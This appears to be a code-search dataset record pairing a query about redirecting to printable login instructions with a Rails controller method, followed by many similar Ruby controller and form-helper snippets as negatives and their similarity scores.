[ "0.6688225", "0.64438695", "0.63228786", "0.63144314", "0.6178096", "0.60388565", "0.6022043", "0.5977137", "0.59042555", "0.5891607", "0.5871905", "0.5836429", "0.58280814", "0.580259", "0.57653016", "0.57653016", "0.57653016", "0.57653016", "0.5757574", "0.5714365", "0.56980306", "0.5659858", "0.56497115", "0.5605132", "0.55974877", "0.55948496", "0.5592952", "0.5588749", "0.5583781", "0.5566774", "0.555893", "0.5556453", "0.5555392", "0.5529061", "0.5527161", "0.5525005", "0.5521419", "0.55170894", "0.55121624", "0.55003875", "0.54904115", "0.5483601", "0.5482671", "0.54803574", "0.547915", "0.5475965", "0.5470349", "0.54691774", "0.5456798", "0.5453134", "0.54522026", "0.543105", "0.54187554", "0.5410532", "0.54067034", "0.5404202", "0.5398151", "0.5395335", "0.5390458", "0.5381445", "0.538136", "0.5380719", "0.5377861", "0.53694105", "0.5357389", "0.53542733", "0.53464496", "0.5345926", "0.5343035", "0.5342251", "0.53419733", "0.53410345", "0.5327756", "0.5327623", "0.53212076", "0.5313437", "0.531284", "0.531284", "0.53106743", "0.52973217", "0.52936524", "0.52921915", "0.5290018", "0.52883667", "0.5279341", "0.52708703", "0.52678347", "0.5265023", "0.526359", "0.52620816", "0.5258692", "0.5258224", "0.52537674", "0.5246231", "0.52414185", "0.52414185", "0.5240874", "0.52405906", "0.52375627", "0.52369976" ]
0.6690001
0
if we need to print instructions, redirects to the instructions action. otherwise redirects to index.
def handle_printable_instructions if @user.reset_password_method == "print" # save the password in the flash since we won't be able to get it once it's crypted flash[:password] = @user.password redirect_to(:action => :login_instructions, :id => @user.id) else redirect_to(index_url_with_page_num) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def doInstructions\n # do absolutely nothing at all... just render instructions\n end", "def index\t\n # select help page to display\n if params[:ctrl] and @help_config['pages'][params[:ctrl]]\n if params[:page] and @help_config['pages'][params[:ctrl]][params[:page]]\n template = @help_config['pages'][params[:ctrl]][params[:page]]\n else\n template = @help_config['pages'][params[:ctrl]]['index']\n end\n end\n # choose language according to available help translations\n lang = (@help_config['langs'].include? current_language.to_s) ? current_language.to_s : @help_config['langs'].first\n\t\n url = \"/manual/#{lang}/\" + (template || \"index.html\")\n redirect_to(request.relative_url_root + url)\n end", "def index\n return not_found unless request.format.to_sym.in?(%i[html md]) || !request.path.include?('.')\n\n redirect_to help_page_path(library: library,\n section: index_section,\n subsection: index_subsection,\n display_as: display_as)\n end", "def landing\n redirect_to(root_url) && return unless ADMIN_OPTIONS['report_mode']\n end", "def landing\n redirect_to(root_url) && return unless ADMIN_OPTIONS['report_mode']\n end", "def index\n redirect_to statements_path\n end", "def index\n puts \"You chose index!\"\nend", "def index\n puts \"You chose index!\"\nend", "def actions; end", "def index\n \t#display text and links \n end", "def index\n puts \"\\n******* index *******\"\n end", "def index\n # display text and links\n end", "def index\n redirect_to :action => \"edit\" and return\n end", "def index\n \n redirect_to ( :action => \"list\")\n end", "def intro\n redirect_to :controller => 'distros', :action => 'index'\n end", "def index; redirect_to :action => 'list'; end", "def show\n redirect_to action: \"index\"\n end", "def show\n redirect_to action: \"index\"\n end", "def show\n redirect_to action: \"index\"\n end", "def show\n redirect_to action: \"index\"\n end", "def show\n redirect_to action: \"index\"\n end", "def show\n redirect_to action: \"index\"\n end", "def default_action; end", "def index\n\t\t# while using sym redirection (unlike string redirection),\n\t\t# Plezi will attempt to auto-format a valid URL. \n\t\tredirect_to \"assets_welcome.html\".to_sym\n\tend", "def instruction\n respond_to do |format|\n format.html { render :instruction }\n end\n end", "def show\r\nredirect_to :action=>'index'\r\n end", "def show\n redirect_to :action => 'index'\n end", "def show\n redirect_to action: :index\n end", "def index; redirect_to '/'; end", "def index\n render :partial=>\"edit_index\" if params['edit_mode']\n\n unless( params['edit_mode'] )\n @engine.referral.wizard_step_mark_complete :insurance\n @engine.referral.save!\n\n if @engine.referral.wizard_step == :insurance.to_s\n render :partial => 'next_step'\n else\n render :update do |page|\n page.replace_html 'referral_insurance', :partial => 'insurance/index', :locals=>{ :edit_disabled => false }\n end\n end\n end\n end", "def index\n redirect_to wizard_path(steps.first, request.query_parameters)\n end", "def show\n redirect_to(:action => \"index\")\n end", "def fine_print_return\n redirect_back key: :fine_print_return_to\n end", "def action\n end", "def index\n # Never show a hacker list.\n redirect_to entries_path\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def action\n \"index\"\n end", "def action\n end", "def print\n @steps = @experiment.steps\n \n # renders the print template without the normal layout\n render :layout => false;\n end", "def between_views\n output_action_header(\"\\n*** What Would You Like To Do Next? ***\")\n puts \"1. Create a customer account\\n2. Choose active customer\\n3. Create a payment option\\n4. Add product to sell\\n5. Add product to shopping cart\\n6. Complete an order\\n7. Remove customer product\\n8. Update product information\\n9. Show stale products\\n10. Show customer revenue report\\n11. Show overall product popularity\\n12. Leave Bangazon!\"\n end", "def list\n redirect_to action: \"index\"\n end", "def index\n redirect_to :action => 'request_bill'\n end", "def index\r\n list\r\n render_action 'list'\r\n end", "def index\n redirect_to :action => :list\n end", "def index\n if @article.full_text? and (CACM::CRAWLER_IPS.include?(request.remote_ip) or current_member.can_access?(@article, :html))\n redirect_to :action => 'fulltext'\n else\n redirect_to :action => 'abstract'\n end\n end", "def index\n redirect_to :action => \"list\"\n end", "def index\n render :partial=>\"edit_index\" if params['edit_mode']\n\n unless( params['edit_mode'] )\n @engine.referral.wizard_step_mark_complete :faxes\n @engine.referral.save!\n\n if @engine.referral.wizard_step == :faxes.to_s\n render :partial => 'next_step'\n else\n render :update do |page|\n page.replace_html 'referral_faxes', :partial => 'faxes/index', :locals=>{ :edit_disabled => false }\n end\n end\n end\n end", "def instructions\n \n end", "def help\n #render(text: \"Help method in StaticPages controller class\");\n end", "def index\n redirect_to :action => 'list'\n end", "def show\n index\n render :index\n return false\n #redirect_to faqs_path\n end", "def show\n redirect_to index_url\n end", "def index\n redirect_to :controller => \"callc\", :action => 'main'\n end", "def index\n page_title = params[:page]\n @page = @wiki.find_or_new_page(page_title)\n if @page.new_record?\n edit\n render :action => 'edit' and return\n end\n @content = @page.content_for_version(params[:version])\n if params[:export] == 'html'\n export = render_to_string :action => 'export', :layout => false\n send_data(export, :type => 'text/html', :filename => \"#{@page.title}.html\")\n return\n elsif params[:export] == 'txt'\n send_data(@content.text, :type => 'text/plain', :filename => \"#{@page.title}.txt\")\n return\n end\n render :action => 'show'\n end", "def dispatch_action(req)\n controller = ROUTE_TO_CONTROLLER[req.path_info]\n raise Heartcheck::Errors::RoutingError if controller.nil?\n\n Logger.info \"Start [#{controller}] from #{req.ip} at #{Time.now}\"\n\n controller.new.index.tap do |_|\n Logger.info \"End [#{controller}]\\n\"\n end\n end", "def index?; end", "def index\n puts 'In index controller'\n end", "def index\r\n end", "def redirect_output!; end", "def index\r\n end", "def index\r\n end", "def index\r\n end", "def route_index; end", "def render(*args)\n possible_actions = %w(\n create update destroy join mark_as_read block unblock\n publish pin send_to_bottom call open display_results\n )\n args = ['show'] if args.empty? && possible_actions.include?(action_name)\n super\n end", "def render_index(msg = nil) #:doc: \n flash[:notice] = msg if msg \n render(:action => 'index') \n end", "def root\r\n if can? :read, :landing\r\n redirect_to(:controller => 'landing', :action => 'index') and return\r\n end\r\n [Enrollment, Professor, ScholarshipDuration, Phase, Course, City, User, Student].each do |model|\r\n if can? :read, model\r\n redirect_to(:controller => model.name.underscore.pluralize.downcase, :action => 'index') and return\r\n end\r\n end\r\n end", "def index\r\n redirect_to :action => :login\r\n end", "def show\n redirect_to :root, notice: 'There\\'s nothing to see at the URL entered.'\n end", "def visit_action_page(model, action, **opt)\n terms = opt[:terms] || {}\n url = url_for(controller: model, action: action, **terms)\n visit url\n if block_given?\n yield\n else\n show_url\n end\n if respond_to?((assert = :\"assert_valid_#{action}_page\"))\n send(assert, model, **opt)\n else\n assert_valid_action_page(model, action, **opt)\n end\n end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end", "def index; end" ]
[ "0.6123204", "0.6071822", "0.606791", "0.57764775", "0.5775483", "0.5719447", "0.5703976", "0.5703976", "0.5698535", "0.5688436", "0.5686752", "0.5685302", "0.5676001", "0.56650096", "0.5664012", "0.5658744", "0.56472737", "0.56472737", "0.56472737", "0.56472737", "0.56472737", "0.56472737", "0.5646321", "0.56432927", "0.5641835", "0.5635675", "0.5631063", "0.5625017", "0.5607439", "0.5599185", "0.5590711", "0.5580785", "0.5565398", "0.55634385", "0.55551606", "0.55533355", "0.55533355", "0.55533355", "0.55533355", "0.55533355", "0.55506486", "0.5534653", "0.5519038", "0.5513432", "0.5510113", "0.5482757", "0.5475337", "0.54514736", "0.5448683", "0.54460377", "0.5443196", "0.5442943", "0.5408843", "0.5400946", "0.5392342", "0.5372755", "0.5360553", "0.5358655", "0.5356016", "0.535285", "0.53525484", "0.5352234", "0.53447735", "0.53421646", "0.53421646", "0.53421646", "0.53385884", "0.5337798", "0.53302115", "0.5326342", "0.5318047", "0.53166544", "0.53111744", "0.5305657", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015", "0.5305015" ]
0.58313113
3
prepares objects and renders the form template
def prepare_and_render_form # create a blank mission assignment with the appropriate user_id for the boilerplate, but don't add it to the collection @blank_assignment = Assignment.new(:active => true, :user_id => current_user.id) # get assignable missons and roles for this user @assignable_missions = Mission.accessible_by(current_ability, :assign_to) @assignable_roles = Ability.assignable_roles(current_user) render(:form) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def render_iform\n @multi_objs.each do |obj|\n render :partial => 'iform', :object => obj\n end\n end", "def prepare_and_render_form\n # get the users to which this response can be assigned\n # which is the users in this mission plus admins\n # (we need to include admins because they can submit forms to any mission)\n @possible_submitters = User.assigned_to_or_admin(current_mission).by_name\n\n # render the form\n render(:form)\n end", "def return_objects\n\t # renders template\n\tend", "def show\n @form_template = FormTemplate.find(params[:id])\n\n # Preserve previous form templates' contents when they are edited\n # So that the previously filled forms relying on them will not be broken\n if !@form_template.ror_contents or\n @form_template.ror_contents != raw_form_to_ror_form(@form_template.contents)\n\n if not (@form_template.filled_forms.nil? or @form_template.filled_forms.empty?)\n @form_template.update_attributes(:is_current => false)\n @form_template = FormTemplate.new(@form_template.attributes)\n @form_template[:created_at] = nil\n @form_template[:updated_at] = nil\n @form_template[:is_current] = true\n end\n\n @form_template.ror_contents = raw_form_to_ror_form(@form_template.contents)\n @form_template.save\n end\n\n @filled_form = @form_template.filled_forms.build\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form_template }\n end\n end", "def object( controls, scaffold, is_remote, record_or_name_or_array, *args, &proc)\n raise ArgumentError, \"Missing block\" unless block_given?\n\n options = args.extract_options!\n\n case record_or_name_or_array\n when String, Symbol\n object_name = record_or_name_or_array\n when Array\n object = record_or_name_or_array.last\n object_name = ActionController::RecordIdentifier.singular_class_name(object)\n @template.apply_form_for_options!(record_or_name_or_array, options)\n args.unshift object\n else\n object = record_or_name_or_array\n object_name = ActionController::RecordIdentifier.singular_class_name(object)\n @template.apply_form_for_options!([object], options)\n args.unshift object\n end\n\n wrapper_start( controls, scaffold, is_remote, options, object_name, &proc)\n @template.fields_for(object_name, *(args << options), &proc)\n wrapper_end( controls, scaffold, &proc)\n end", "def show_page(obj)\n page do\n t = String.new\n f = Forme::Form.new(obj, :formatter=>:readonly, :wrapper=>:trtd, :labeler=>:explicit)\n t << \"<table class=\\\"#{model.table_class_for(:show, request)}\\\">\"\n model.columns_for(type, request).each do |column|\n col_opts = column_options_for(type, request, obj, column)\n if html = model.show_html_for(obj, column, type, request)\n col_opts = col_opts.merge(:html=>html)\n end\n t << f.input(column, col_opts)\n end\n t << '</table>'\n if type == :show && model.supported_action?(:edit, request)\n t << Forme.form(form_attributes(:action=>url_for(\"edit/#{model.primary_key_value(obj)}\")), form_opts) do |f1|\n f1.button(:value=>'Edit', :class=>'btn btn-primary')\n end\n end\n if type == :delete\n form_attr = form_attributes(:action=>url_for(\"destroy/#{model.primary_key_value(obj)}\"), :method=>:post)\n t << Forme.form(form_attr, form_opts(form_attr[:action])) do |f1|\n f1.button(:value=>'Delete', :class=>'btn btn-danger')\n end\n else\n t << association_links(obj)\n end\n t\n end\n end", "def prepare_and_render_form\n @context = Results::ResponseFormContext.new(\n read_only: action_name == \"show\" || cannot?(:modify_answers, @response)\n )\n\n # The blank response is used for rendering placeholders for repeat groups\n @blank_response = Response.new(form: @response.form)\n Results::BlankResponseTreeBuilder.new(@blank_response).build\n\n render(:form)\n end", "def prepare_and_render_form\n # load options for sms adapter dropdown\n @adapter_options = Sms::Adapters::Factory::VALID_ADAPTERS\n \n # render the template\n render(:index)\n end", "def new_basic_predetails\n\t\t@petsitter = Petsitter.new #object that form will bind to \n\t\t\n\t\t# we could have put what is below directly in the view but the controller's job is supposed to be to ask data from the model and set it up for the views - the view should be completely decoupled from the model( the view should never know of the model's existence )\n\t\t@all_residential_areas_in_nairobi = ResidentialArea.all\n\tend", "def show\n @filled_form = FilledForm.find(params[:id])\n @form_template = FormTemplate.find(@filled_form.form_template_id)\n\n @prefilled_ror_contents = prefill_ror_form @form_template.ror_contents, @filled_form.attributes\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @filled_form }\n end\n end", "def forms; end", "def all_talent_forms_page\n \t@male = Male.new\n \t@female = Female.new\n \t@photo = Photo.new\n \t@hair = Hair.new\n \t@mua = Mua.new\n \t@stylist = Stylist.new\n \t@client = Client.new\n end", "def index\n @template_form_fields = TemplateFormField.all\n end", "def preview\n @form_data = Form.get_form_by_code(current_user[\"id\"], params[:code])\n @questions = Question.get_questions_by_ids(@form_data['id'], JSON.parse(@form_data['question_order']))\n @all_options = Option.collect_options_per_quetions(JSON.parse(@form_data['question_order']))\n end", "def show\n @travel_forms = TravelForm.all\n @expense_reports = ExpenseReport.all\n @request_forms = RequestForm.all\n end", "def html\n html = %{<div class=\"obj-form-frame\"><table class=\"obj-form\">}\n html = append_fields(html, @name, template, false)\n html << '</table>'\n html << %{<div class=\"btn\" id=\"#{@name}.save_button\"><span>Save</span></div>}\n html << %{<div class=\"btn\" style=\"float:right;\" id=\"#{@name}.cancel_button\"><span>Cancel</span></div>}\n html << '</div>'\n end", "def show\r\n @styles = AppStyles.new()\r\n @page_style = @styles.css.html_safe\r\n @full_field_list = ['name', 'url', 'username', 'password', 'acct_number', 'due_on', 'notes']\r\n @partial_field_list = [\"name\", 'url', 'due_on', 'notes']\r\n\r\n accounts = Account.where(\"user_id=#{session[:user_id]}\").order('name ASC')\r\n html_dsl = HtmlDsl.new()\r\n html_dsl.form(\"account\", {id: 'account_form', action: 'account', authenticity_token: form_authenticity_token}) do\r\n\r\n # Display options\r\n html_dsl.div() do\r\n html_dsl.checkbox('display_all', 'Display all fields (Passwords will appear in plain text!)', {value: get_checked(session[:display_all])})\r\n html_dsl.post_button('Update View')\r\n end\r\n\r\n # Accounts table\r\n # This table is interesting in that I put the scrollbar on the left by fussing with the rtl and ltr direction style of the div and table.\r\n html_dsl.div({classes: [@styles.scrollable_div300]}) do\r\n account_html = create_account_table(accounts, {class: 'account-table'})\r\n html_dsl.inject(account_html)\r\n end\r\n\r\n # Fill remaining space to the right.\r\n html_dsl.div({classes: [@styles.div_fill]}) {}\r\n\r\n # Managing accounts\r\n html_dsl.div({classes: [@styles.inline_div]} ) do\r\n create_account_management(html_dsl)\r\n end\r\n\r\n # Selecting categories\r\n html_dsl.div({classes: [@styles.inline_div]}) do\r\n show_categories(html_dsl)\r\n end\r\n\r\n html_dsl.div({classes: [@styles.clear_both]}) {}\r\n end\r\n\r\n @account_html = get_html(html_dsl.html_gen.xdoc).html_safe\r\n @javascript = create_row_click_javascript('account', @full_field_list, 2).html_safe # javascript for when user clicks on a row to populate edit boxes.\r\n\r\n nil\r\n end", "def create\n @object ||= @Klass.new\n @update_span = params[:update]\n attributes = @inline_forms_attribute_list || @object.inline_forms_attribute_list\n attributes.each do | attribute, name, form_element |\n send(\"#{form_element.to_s}_update\", @object, attribute) unless form_element == :tree || form_element == :associated || (cancan_enabled? && cannot?(:read, @object, attribute))\n end\n @parent_class = params[:parent_class]\n @parent_id = params[:parent_id]\n # for the logic behind the :conditions see the #index method.\n conditions = nil\n if @parent_class.nil? || @Klass.reflect_on_association(@parent_class.underscore.to_sym).nil?\n conditions = [ @Klass.table_name + \".\" + @Klass.order_by_clause + \" like ?\", \"%#{params[:search]}%\" ] if @Klass.respond_to?(:order_by_clause) && ! @Klass.order_by_clause.nil?\n else\n foreign_key = @Klass.reflect_on_association(@parent_class.underscore.to_sym).options[:foreign_key] || @parent_class.foreign_key\n conditions = [ \"#{foreign_key} = ?\", @parent_id ]\n @object[foreign_key] = @parent_id\n end\n\n if @object.save\n flash.now[:success] = t('success', :message => @object.class.model_name.human)\n @objects = @Klass\n @objects = @Klass.accessible_by(current_ability) if cancan_enabled?\n @objects = @objects.order(@Klass.table_name + \".\" + @Klass.order_by_clause) if @Klass.respond_to?(:order_by_clause) && ! @Klass.order_by_clause.nil?\n @objects = @objects.where(conditions).paginate(:page => params[:page])\n @object = nil\n respond_to do |format|\n format.js { render :list}\n end\n else\n flash.now[:header] = [\"Kan #{@object.class.to_s.underscore} niet aanmaken.\"]\n flash.now[:error] = @object.errors.to_a\n respond_to do |format|\n @object.inline_forms_attribute_list = attributes\n format.js { render :new}\n end\n end\n end", "def render_form(object, url, options)\n output = ActiveSupport::SafeBuffer.new\n\n html_options = {\n 'action' => url,\n 'accept-charset' => \"UTF-8\",\n }\n html_options['method'] = options[:method].to_s if options[:method]\n html_options[:enctype] = \"multipart/form-data\" if options[:multipart]\n # html_options[\"data-remote\"] = true if options[\"remote\"]\n\n # error messages explanation\n output.safe_concat(form_tag_html(html_options))\n if object.errors.any?\n emit_tag output, 'div', :class => 'error_explanation' do |output|\n defmsg = pluralize(object.errors.count, \"error\") + ' prohibited this survey from being saved:'\n emit_tag output, 'h2',\n I18n.t('survey.error_explanation', :count => object.errors.count, :default => defmsg)\n emit_tag output, 'ul' do |output|\n object.errors.full_messages.each do |msg|\n emit_tag output, 'li', msg\n end\n end\n end\n end\n\n # render survey elements\n render(output, ObjectStack.new(object.container, object))\n\n # render submit button\n action = 'Submit' # TODO: I18n\n emit_tag output, 'div', :class => 'buttons' do\n emit_tag output, 'input', :type => 'submit', :class => 'button', :value => action\n end\n\n output.safe_concat(\"</form>\")\n output\n end", "def perform\n @robjects.map do |ro|\n RenderedObject.new(\n :data=>_render_renderable_object(ro, { :item => ro }.merge(@tmpl_vars), @layouts),\n :renderable_object=>ro,\n :layouts=> @layouts,\n :path=>_rewrite_paths(ro.path, @rewrite_paths),\n :url=>_rewrite_paths(ro.path, @rewrite_urls))\n end\n end", "def edit_page(obj)\n page do\n t = String.new\n form_attr = form_attributes(:action=>url_for(\"update/#{model.primary_key_value(obj)}\"))\n t << Forme.form(obj, form_attr, form_opts(form_attr[:action])) do |f|\n model.columns_for(:edit, request).each do |column|\n col_opts = column_options_for(:edit, request, obj, column)\n if html = model.edit_html_for(obj, column, :edit, request)\n col_opts = col_opts.merge(:html=>html)\n end\n f.input(column, col_opts)\n end\n f.button(:value=>'Update', :class=>'btn btn-primary')\n end\n if model.supported_action?(:delete, request)\n t << Forme.form(form_attributes(:action=>url_for(\"delete/#{model.primary_key_value(obj)}\")), form_opts) do |f|\n f.button(:value=>'Delete', :class=>'btn btn-danger')\n end\n end\n t << association_links(obj)\n end\n end", "def form; end", "def index\n @form_templates = FormTemplate.all\n end", "def form\n @presenter = DefaultPresenter.new()\n @presenter.user = current_user\n render\n end", "def form_prep\n @users = User.all\n end", "def index\n @promulher_forms = PromulherForm.all\n end", "def render_object(o, collection_name, edit)\r\n underscored_name = underscore(demodulize(o.class.name))\r\n template = File.expand_path(File.dirname(__FILE__) + \"/../views/project/_#{underscored_name}.rhtml\")\r\n if(File.exist?(template))\r\n render_partial(underscored_name, o)\r\n else\r\n r = \"<table>\\n\"\r\n o.__attr_accessors.each do |attr_name|\r\n attr_anns = o.class.send(attr_name[1..-1])\r\n if(attr_anns && attr_anns[:description])\r\n # Only render attributes with :description annotations\r\n attr_value = o.instance_variable_get(attr_name)\r\n r << \" <tr>\\n\"\r\n r << \" <td width='25%'>#{attr_anns[:description]}</td>\\n\"\r\n html_value = text_or_input(edit, :name => \"#{collection_name}[#{o.class.name}][#{attr_name}]\", :value => attr_value)\r\n r << \" <td width='75%'>#{html_value}</td>\\n\"\r\n r << \" </tr>\\n\"\r\n end\r\n end\r\n # workaround for RoR bug. 'hash' form params must have at least one value.\r\n r << \"<tr><td></td><td><input type='hidden' name='#{collection_name}[#{o.class.name}][__dummy]' /></td></tr>\" if o.instance_variables.empty?\r\n\r\n r << \"</table>\"\r\n r\r\n end\r\n end", "def show\n #THE FORM FOR THE NEW ORDER IS ON THE SHOW PAGE OF THE BOOK\n @order = Order.new()\n end", "def new_page(obj, opts={})\n page do\n form_attr = form_attributes(:action=>url_for(\"create\"))\n Forme.form(obj, form_attr, form_opts(form_attr[:action])) do |f|\n model.columns_for(:new, request).each do |column|\n col_opts = column_options_for(:new, request, obj, column)\n if html = model.edit_html_for(obj, column, :new, request)\n col_opts = col_opts.merge(:html=>html)\n end\n f.input(column, col_opts)\n end\n f.button(:value=>'Create', :class=>'btn btn-primary')\n end\n end\n end", "def set_form_variables\n @articles = CriminalCode.all.includes(:articles).with_translations\n @tags = Tag.includes(:translations).order(:name)\n @prisons = Prison.includes(:translations).order(:name)\n\n gon.select_charges = t('shared.actions.with_obj.select',\n obj: t('activerecord.models.charge', count: 999))\n gon.select_tags = t('shared.actions.with_obj.select',\n obj: t('activerecord.models.tag', count: 999)) \n end", "def form_tag( *args)\n options = args.extract_options!\n record_or_name_or_array = self.object\n case record_or_name_or_array\n when String, Symbol\n object_name = record_or_name_or_array\n when Array\n object = record_or_name_or_array.last\n object_name = ActionController::RecordIdentifier.singular_class_name(object)\n template.apply_form_for_options!(record_or_name_or_array, options)\n args.unshift object\n else\n object = record_or_name_or_array\n object_name = ActionController::RecordIdentifier.singular_class_name(object)\n template.apply_form_for_options!([object], options)\n args.unshift object\n end\n options[:html] ||= {}\n options[:html][:novalidate] = :novalidate\n begin_form = template.form_tag(options.delete(:url) || {}, options.delete(:html) || {})\n template.content_for(:begin_form) { begin_form }\n template.content_for( :end_form) { template.raw('</form>') }\n end", "def fill_all_form_data()\n if verbose_messages\n p @fillable_form_fields\n p @current_page_data_object\n end\n\n @fillable_form_fields.each do |field|\n value = @current_page_data_object.retrieve_data_for(field)\n enter_element_value(field, value) if value and (value != \"nil\")\n end\n end", "def dump_form( model, form_var, obj, css_name = '',\n except = [], only = nil, \n human_names = {}, special = {}, no_control = false )\n\n output = \"<div class=\\\"#{css_name}container\\\">\\n\"\n\n #If no only list was given, then make my own from the model\n if only.nil?\n only = model.columns.sort{|a, b|a.name<=>b.name}.collect{|x|x.name.to_sym}\n end\n\n #Convert my except string into a hash for quick access\n remove = Hash.new\n except = [except] if !except.is_a? Array\n [except, [:id, :created_at, :updated_at]].flatten.each {|e| remove[e]=true }\n\n #Make sure my only variable is an array\n only = [only] if !only.is_a? Array\n\n #Make a hash of my model we're working with\n columns = Hash.new\n model.columns.each { |c| columns[c.name.to_sym] = c }\n\n #Go through my only list and output all the controls\n only.each do |col| \n if !remove.has_key?(col) and !(col.to_s =~ /_id$/)\n output += \"<div class=\\\"#{css_name}#{col}\\\">\"\n output += \"<label>#{human_names[col] || \"#{model.to_s}'s #{col.to_s.split(/_/).collect{|x| x.capitalize}.join(' ')}\"}\"\n \n #Based on the column type, output a form field\n case columns[col].type\n when :string\n if columns[col].name =~ /password/i or columns[col].name =~ /passwd/i\n output += password_field form_var, col.to_s,special[col]||{ :value => obj.send(col) } if !no_control\n elsif !no_control\n output += text_field form_var, col.to_s, special[col] || { :value => obj.send(col) } \n elsif no_control\n output += \"<div>#{obj.send(col)}</div>\" \n end\n when :datetime\n when :integer\n if !no_control\n output += text_field form_var, col.to_s, special[col] || { :value => obj.send(col) }\n else\n output += \"<div>#{obj.send(col)}</div>\" \n end\n when :boolean\n when :text\n else\n end\n\n output += \"</label></div>\\n\"\n end\n end\n\n #Close off my container div\n output += \"</div>\\n\"\n\n return output\n end", "def show\n @travel_forms = TravelForm.all\n @expense_reports = ExpenseReport.all\n @request_forms = RequestForm.all\n @budget_approver = BudgetApprover.all\n @departments = Department.all\n end", "def new\n\t\t@form = @client.forms.new\n\n \n 3.times do\n procedure = @form.procedures.build\n end\n 3.times do\n authemp = @form.authemps.build\n end\n\n\t\trespond_to do |format|\n \t\tformat.html # show.html.erb\n \t\tformat.json { render json: @form }\n \t\tend\n\tend", "def ing_form; end", "def edit_form\n\t\toptions = { :disabled => false, :show_all => true, :edit => true}\n\t\tform_template(options)\n\tend", "def edit_form\n\t\toptions = { :disabled => false, :show_all => true, :edit => true}\n\t\tform_template(options)\n\tend", "def records(options = {})\n persisted_records_for(@association, @form, options) do |fields_for_association|\n render_association_partial(fields_for_association, options)\n end\n end", "def form_object #:nodoc:\n object || @template.instance_variable_get(\"@#{@object_name}\")\n end", "def standard_form name, object, &block\n url = { :action => object.new_record? ? \"index\" : \"show\" }\n html = { :class => \"standard\",\n :style => (@edit_on ? '' : \"display: none;\"),\n :multipart => true }\n concat form_tag(url, html) + \"<fieldset>\", block.binding\n concat '<input name=\"_method\" type=\"hidden\" value=\"put\" />', block.binding unless object.new_record?\n yield LabelingFormBuilder.new(name, object, self, {}, block)\n concat \"</fieldset>\" + end_form_tag, block.binding\n end", "def remote_form_for(record_or_name_or_array, *args, &proc)\n options = args.extract_options!\n \n case record_or_name_or_array\n when String, Symbol\n object_name = record_or_name_or_array\n when Array\n object = record_or_name_or_array.last\n object_name = ActionController::RecordIdentifier.singular_class_name(object)\n apply_form_for_options!(record_or_name_or_array, options)\n args.unshift object\n else\n object = record_or_name_or_array\n object_name = ActionController::RecordIdentifier.singular_class_name(record_or_name_or_array)\n apply_form_for_options!(object, options)\n args.unshift object\n end\n \n result = ''\n result << form_remote_tag(options)\n result << fields_for(object_name, *(args << options), &proc)\n result << '</form>'.html_safe\n \n if block_called_from_erb?(proc)\n concat result\n else\n result\n end\n \n end", "def process_collections #:nodoc\r\n # If result_set is not defined on form, then it will fail. :return_to should know where to go\r\n if @form['result_set'].nil?\r\n process_return_to(params[:return_to] || 'reload')\r\n return true\r\n end\r\n # when result set is evaluated as Rails helper\r\n @form['result_set']['type'] ||= 'default'\r\n return unless @form['result_set']['type'] == 'default'\r\n\r\n # for now enable only filtering of top level documents\r\n if @tables.size == 1 \r\n check_filter_options()\r\n check_sort_options()\r\n end \r\n # result set is defined by filter method in control object\r\n form_filter = @form['result_set']['filter'] || 'default_filter'\r\n if respond_to?(form_filter)\r\n @records = send(form_filter)\r\n # something went wrong. flash[] should have explanation.\r\n if @records.class == FalseClass\r\n @records = []\r\n render(action: :index)\r\n return true\r\n end\r\n process_select_and_deny_fields\r\n # pagination but only if not already set\r\n unless (@form['table'] == 'dc_memory' || (@records.respond_to?(:options) && @records.options[:limit]))\r\n per_page = (@form['result_set']['per_page'] || 25).to_i\r\n @records = @records.page(params[:page]).per(per_page) if per_page > 0\r\n end\r\n else\r\n if @tables.size > 1 \r\n rec = @tables.first[0].find(@ids.first) # top most document.id\r\n 1.upto(@tables.size - 2) { |i| rec = rec.send(@tables[i][1].pluralize).find(@ids[i]) } # find embedded childrens by ids\r\n # TO DO. When field name is different then pluralized class name. Not working yet.\r\n embedded_field_name = @tables.last[0] ? @tables.last[1].pluralize : @tables.last[1]\r\n @records = rec.send(embedded_field_name) # current embedded set\r\n # sort by order if order field is present in model\r\n if @tables.last[1].classify.constantize.respond_to?(:order)\r\n @records = @records.order_by(order: 1)\r\n end\r\n end\r\n end\r\n false\r\nend", "def do_render\n\t render(:template => 'employees/new')\n\t end", "def form\n end", "def setup(*)\n # Used to be in an after_add, updated for apotomo 1.2.\n self.respond_to_event :form_submitted, :from => self.name\n self.respond_to_event :revert, :from => self.name\n self.respond_to_event :display_form, :from => self.name\n\n self.where = nil\n self.dom_id = options[:dom_id]\n self.grid_options = {}\n # Guesses that you will use the resource name for the form template.\n self.form_template = options[:resource]\n # Assume that the form is not a multipart (uploader) form\n self.multipart_form = false\n # The orphan template is used when a parent record is needed but not selected\n self.orphan_template = 'orphan'\n # Ensure that we always have a record of some sort\n self.record = resource_model.new\n # Set the name of this resource for public display\n self.human_resource = options[:resource].humanize\n # Set the spokesfield to nil, this needs to be set explicitly\n self.spokesfield = nil\n \n @columns = []\n @sortable_columns = {}\n @default_sort = nil \n\n @filters = {}\n @filter_sequence = []\n @filter_default = {}\n \n @flash_widget = self.dom_id + '_flash'\n self << widget(:grid_flash, @flash_widget)\n \n if options[:form_only]\n @list_widget = nil\n @filters_widget = nil\n self.form_buttons = [\n ['remain', 'Save', 'Add'],\n ]\n else\n @list_widget = self.dom_id + '_list'\n @filters_widget = self.dom_id + '_filters'\n self << widget(:grid_list, @list_widget) do |lw|\n lw << widget(:grid_filters, @filters_widget)\n end\n \n self.form_buttons = [\n ['submit', 'Save+Close', 'Add+Close'],\n 